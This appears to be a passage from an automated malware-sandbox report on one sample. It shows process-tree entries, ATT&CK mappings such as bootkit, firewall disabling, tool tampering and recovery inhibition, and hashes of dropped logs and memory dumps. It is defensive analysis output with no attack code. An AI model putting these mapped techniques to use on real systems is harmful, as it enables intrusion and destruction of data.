C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:6180

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:6480

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:6752

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:7072

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:4276

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:6520

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:7252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:5264

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 e8f1393a9e1a21ef9c18231e6d1301624694e6036ec8ddf1234219eb96222a28
MD5 164a45e66dbe5b4c1fad9ced25394a84
SHA1 5f90cf92b891734679ddb12be560b2ec4c6282d7
SHA512 d05e8eebd235ed67a9a4c8f13004cf576df60ae068b81cd11a9d3de69cde110bf3983005a55adac948c5e8f5843b44c865b56dad4d8a37de3d2e442c4ef2eb55
TLSH
T189112223F38C8920CC96163A509DAC5172B586CB81EEDF9F7FC0D210A1BF584CBA1294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 00f8a035324d39bd62e6dee5e1b480069015471c487ebee4479e6990ea9ddb14
MD5 10890cda4b6eab618e926c4118ab0647
SHA1 1e1d63b73a0e6c7575f458b3c7917a9ce5ba776d
SHA512 a2ee84006c24a36f25e0bca0772430d64e3791f233da916aecdeae6712763e77d55bbbd00dc8f6b2b3887f3c26ab3980b96c5f46cc823e81e28abbbc5fc78221
TLSH
T15F112223F38C8921CC961539509DAC5172B586CB81AFDE9F7FC0D210A1BF584CBA11D4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 7c7e8fef645249b4f3a2976f83d058447a87184af57b94a9805c7155d59dd57c
MD5 cdcbefa35d50716aa0ecc9dde5aeecd0
SHA1 1295b48f89518c5603d7e20ced808cb6f92e5916
SHA512 758467bbc503d14948d162449667fe43ceb161f85faefb3785d989f91c557b01f4f15a551ce0d2ad37f5ef5bff3e38e8eebd82041919ecb15628d73f84bb68f8
TLSH
T18A112233F38C8960CC86163950ADAC5172B686DB81AEEF9F7FC0C210E1BF584CB61194
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 ad07460e061642c0dd4e7dfa7b821aacce873e290389e72f708e9f3504f9d135
MD5 e60eb305a7b2d9907488068b7065abd3
SHA1 1643dd7f915ac50c75bc01c53d68c5dafb9ce28d
SHA512 95c45afec6fa4e0b2a21edd10a6b2dc30568810c67bc9bc34d98ab111c48261f377a370583adb27e08616b0108026c119493b1b093b52ce931117e646b46cb7b
TLSH
T108112223F38C8960CC961539509DAC5172B586CB81AFDE9F7FC0C210A1BF584CB61194
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_kxvrjwgh.dz1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kxvrjwgh.dz1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

wiatrace.log

Path C:\Windows\Debug\WIA\wiatrace.log
Size 3KB
SHA256 92ad2f40d1d58866a3b3ad94de1e9934d3a84ae341a15b080ac6ac069f3c54e4
MD5 766393ccabcf45922c7b80307556754e
SHA1 5f02c1f17bedd9bbb890f3727631f2a5ea263bd2
SHA512 0b6cacdfea13f6a4f1645c54774dfa7c49018b75aea1150133ca36777a6283d7d067bc0fb274734c1c52f43e9b47e0c492eef65c4bb32a976aea9ba2cf757ad5
TLSH
T1DD51CCDCC9816D5BD7AB308ECF9610D45F9FA9C755E220310A3F7A9590EE15C83E7882
MD5 SHA1 SHA512 TLSH

Submit Download

wiatrace.log

Path C:\Windows\Debug\WIA\wiatrace.log
Size 4KB
SHA256 6f89aa7953217804b4f68457239e98cf19ed3c8e23a760a5c79d3ffb42476a97
MD5 f48e476027aee3dda56da85db86c0df0
SHA1 673368fdc1839ff84f298822c1af8406225db8c0
SHA512 f97ed7422202a65dd7f99fb3741c0e1f102eb335430c9a129b001005c1b135f534fc06c6e5b1baba50adbe8520336bc739b1cb78e3aff7d9940c006dabd75e84
SSDEEP 96:0/vSmUxplSmjWS91S8xS3Rzo1RHkS3RzoGRHuS3Rzo1RHhLSdVSwSS3RzosRHUX+:0nSmUhSmaSbSwS3Rzo1RES3RzoGROS3V
TLSH
T10BA1EDDCC9812D5BD79B304ECFA610D41F6FADC759E220611A3FBA9590AE14CC3E7882
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wiatrace.log

Path C:\Windows\Debug\WIA\wiatrace.log
Size 6KB
SHA256 de1e9e51739ec0ff2a1b85264e89ec89563b6fa68c63506617bf80fbff596684
MD5 5ac00ac6c600967b5a193d45f844b00e
SHA1 24964ac7bc5bbb85d6885a8b3f17421f130ab24d
SHA512 ae43a0ade3b20284a4fd520bc8093af61fef08fcb393824b4d371054b838779edc17f45e67a21058111d6196928f0085cdd302886fdf6bebb86887072ec9254c
SSDEEP 192:0nSmUhSmaSbSwS3Rzo1RES3RzoGROS3Rzo1RpSfSwSS3RzosR0ISXISwilSmsS+3:0nSmUhSmaSbSwS7SsScSfSwSSFSYSwiy
TLSH
T177D101C8C5816D4BD79B304ECE9610D41BAFADC759E22021093FBA99A0EE15DC7E7882
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wiatrace.log

Path C:\Windows\Debug\WIA\wiatrace.log
Size 9KB
SHA256 52fa76dd9608f5221e4314d656fba2afadb070ca0e9100506c8a834fad83ca1e
MD5 514be8699a7af0389dc01cd84792abf6
SHA1 690dd6575d5006ff0a4793c7ef4b6062659a3967
SHA512 8a2a11b641d3252f77c743d7976181a7a398303949f57f4a23aba187608229915379fa00133e94d67610c4c0dbe1da78e32f31cebf383fb580c3d7eb9a25de5d
SSDEEP 192:0nSmUhSmaSbSwS3Rzo1RES3RzoGROS3Rzo1RpSfSwSS3RzosR0ISXISwilSmsS+5:0nSmUhSmaSbSwS7SsScSfSwSSFSYSwiW
TLSH
T16312F1D8C4826D5BD78F304ECB9511D82B6FADC759E220710A3FBE95A0AE15DC3E7842
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4144-13-0x00000198E4510000-0x00000198E4520000-memory.dmp

Download

memory/4144-14-0x00000198E4510000-0x00000198E4520000-memory.dmp

Download

memory/4664-0-0x000001B8701D0000-0x000001B8701E0000-memory.dmp

Download

memory/4664-9-0x000001B8701E0000-0x000001B870202000-memory.dmp

Download

memory/4664-1-0x000001B8701D0000-0x000001B8701E0000-memory.dmp

Download